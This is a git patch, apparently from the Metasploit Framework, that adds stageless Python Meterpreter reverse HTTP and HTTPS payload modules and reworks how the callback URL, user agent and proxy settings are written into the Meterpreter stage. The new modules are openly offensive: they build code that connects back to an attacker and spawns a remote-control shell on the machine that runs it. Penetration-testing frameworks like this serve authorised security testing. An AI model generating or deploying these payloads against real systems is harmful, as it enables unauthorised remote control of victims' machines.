From fba9715a56efc9c8b3a3aee5e1a7e29322cb8cd5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 28 Nov 2015 17:41:01 -0500 Subject: [PATCH] Add stageless python meterpreter http & https payloads --- lib/msf/core/handler/reverse_http.rb | 17 ++----- .../core/payload/python/meterpreter_loader.rb | 21 ++++++++ lib/msf/core/payload/python/reverse_http.rb | 16 +++++-- .../singles/python/meterpreter_bind_tcp.rb | 2 +- .../python/meterpreter_reverse_http.rb | 47 ++++++++++++++++++ .../python/meterpreter_reverse_https.rb | 48 +++++++++++++++++++ .../singles/python/meterpreter_reverse_tcp.rb | 2 +- .../payloads/stagers/python/reverse_http.rb | 8 +--- .../payloads/stagers/python/reverse_https.rb | 6 --- 9 files changed, 135 insertions(+), 32 deletions(-) create mode 100644 modules/payloads/singles/python/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/python/meterpreter_reverse_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 1ae5e763c5..8eef811c83 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -285,23 +285,14 @@ protected blob = "" blob << obj.generate_stage( + http_url: url, + http_user_agent: datastore['MeterpreterUserAgent'], + http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], + http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'], uuid: uuid, uri: conn_id ) - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) - } - - # Patch all the things - blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - - unless datastore['PayloadProxyHost'].blank? - proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" - blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") - end - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 6cdd35169c..1cda34d971 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader # configuration # # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :http_proxy_host The host to use as a proxy for + # HTTP(S) transports. + # @option opts [String] :http_proxy_port The port to use when a proxy host is + # set for HTTP(S) transports. + # @option opts [String] :http_url The HTTP(S) URL to patch in to + # allow use of the stage as a stageless payload. + # @option opts [String] :http_user_agent The value to use for the User-Agent + # header for HTTP(S) transports. # @option opts [String] :stageless_tcp_socket_setup Python code to execute to # setup a tcp socket to allow use of the stage as a stageless payload. # @option opts [String] :uuid A specific UUID to use for sessions created by @@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end @@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # patch in the stageless http(s) connection url + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != '' + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != '' + + if opts[:http_proxy_host].to_s != '' + proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}" + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? socket_setup = opts[:stageless_tcp_socket_setup] diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index a8ca06f98f..5bd3c7e71b 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -9,6 +9,15 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options + def initialize(info = {}) + super(info) + register_options( + [ + OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]), + OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]) + ], self.class) + end + # # Generate the first stage # @@ -39,15 +48,14 @@ module Payload::Python::ReverseHttp target_url << ':' target_url << opts[:port].to_s - target_url << '/' - target_url << generate_callback_uri + target_url << generate_callback_uri(opts) target_url end # # Return the longest URI that fits into our available space # - def generate_callback_uri + def generate_callback_uri(opts={}) uri_req_len = 30 + rand(256-30) # Generate the short default URL if we don't have enough space @@ -55,7 +63,7 @@ module Payload::Python::ReverseHttp uri_req_len = 5 end - generate_uri_uuid_mode(:init_python, uri_req_len) + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len) end def generate_reverse_http(opts={}) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..44369a42a9 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..efdecac0bc --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -0,0 +1,48 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 17671eabbf..97874d9e5c 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/reverse_http' module Metasploit4 - CachedSize = 466 + CachedSize = 494 include Msf::Payload::Stager include Msf::Payload::Python @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index a811706265..bad7e55fea 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end #